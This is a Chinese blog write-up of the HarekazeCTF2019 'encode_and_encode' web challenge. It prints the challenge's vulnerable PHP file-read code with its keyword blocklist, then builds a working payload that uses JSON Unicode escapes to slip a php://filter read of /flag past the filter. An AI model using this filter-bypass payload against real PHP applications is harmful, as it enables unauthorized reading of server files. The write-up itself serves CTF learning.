zoukankan      html  css  js  c++  java
  • [HarekazeCTF2019] encode_and_encode

    知识总结

    题目比较简单,考察json数据转义的一个小Trick,主要思路还是利用字符的转义来进行Bypass

    解题过程

    进入题目获取源码:

    <?php
    error_reporting(0);
    
    if (isset($_GET['source'])) {
      show_source(__FILE__);
      exit();       //这里有exit(),因此在进行测试时应删除URL后的source参数
    }
    
    function is_valid($str) {
      $banword = [
        // no path traversal  ->  防止目录穿越
        '..',
        // no stream wrapper ->  过滤掉常见伪协议
        '(php|file|glob|data|tp|zip|zlib|phar):',
        // no data exfiltration  ->  过滤掉‘flag’关键词
        'flag'
      ];
      $regexp = '/' . implode('|', $banword) . '/i';   //正则匹配违禁词
      if (preg_match($regexp, $str)) {   //对传入函数的字符进行检测
        return false;
      }
      return true;
    }
    
    $body = file_get_contents('php://input');    //变量body利用php://input伪协议获取post数据
    $json = json_decode($body, true);    //变量body在进行json解码后赋值给变量json
    
    if (is_valid($body) && isset($json) && isset($json['page'])) {     //对body内容进行过滤检测、检测json中是否存在page参数  ->  意味着我们的payload应传递给page参数
      $page = $json['page'];
      $content = file_get_contents($page);   //读取page中文件的内容并赋值给content ->  到这里就可以确定是一个文件包含漏洞了
      if (!$content || !is_valid($content)) {   //对content内容进行过滤检测
        $content = "<p>not found</p>
    ";
      }
    } else {
      $content = '<p>invalid request</p>';
    }
    
    // no data exfiltration!!!
    $content = preg_replace('/HarekazeCTF{.+}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);    //如果直接返回明文Flag则会替换掉Flag中的内容 ->  这里很明显需要对返回的内容进行加密,不难想到利用php://filter中的流控制器进行数据编码
    echo json_encode(['content' => $content]);   //输出content中的内容,即输出文件内容
    

    在阅读完整个代码后,可以大致猜测到本题是需要利用php://filter伪协议来读取文件的,难点在于绕过is_valid()这一检测函数,于是引出了json编码数据中的一个小Trick:

    uXXXX可以在JSON中转义字符,例如A与u0041等效

    也就是说我们可以将is_valid()中ban掉的关键词利用16进制的Unicode编码进行转义,从而实现绕过检测
    首先构造读取/flag文件内容的payload:
    php://filter/convert.base64-encode/resource=/flag
    然后将过滤的关键词“php”与“flag”进行编码,得到:
    u0070u0068u0070://filter/convert.base64-encode/resource=/u0066u006cu0061u0067
    之后构造json数据包:
    {"page":"u0070u0068u0070://filter/convert.base64-encode/resource=/u0066u006cu0061u0067"}
    将json数据利用post方式发送即可:

    base64解码得到flag

    [ * ]博客中转载的文章均已标明出处与来源,若无意产生侵权行为深表歉意,需要删除或更改请联系博主: 2245998470[at]qq.com

  • 相关阅读:
    day03—JavaScript中DOM的Event事件方法
    day02-Javascript之document.write()方法
    day01-JavaScript中"Uncaught TypeError: Cannot set property 'innerHTML' of null"错误
    Linux安装Tomcat8
    CentOS7安装jdk8及环境变量配置
    Linux命令之lsof
    java如何停止一个运行的线程?
    大数据技术之Hadoop(HDFS)
    大数据技术之Hadoop入门
    用word2013 把word 文档发送到博客园
  • 原文地址:https://www.cnblogs.com/yesec/p/14885123.html
Copyright © 2011-2022 走看看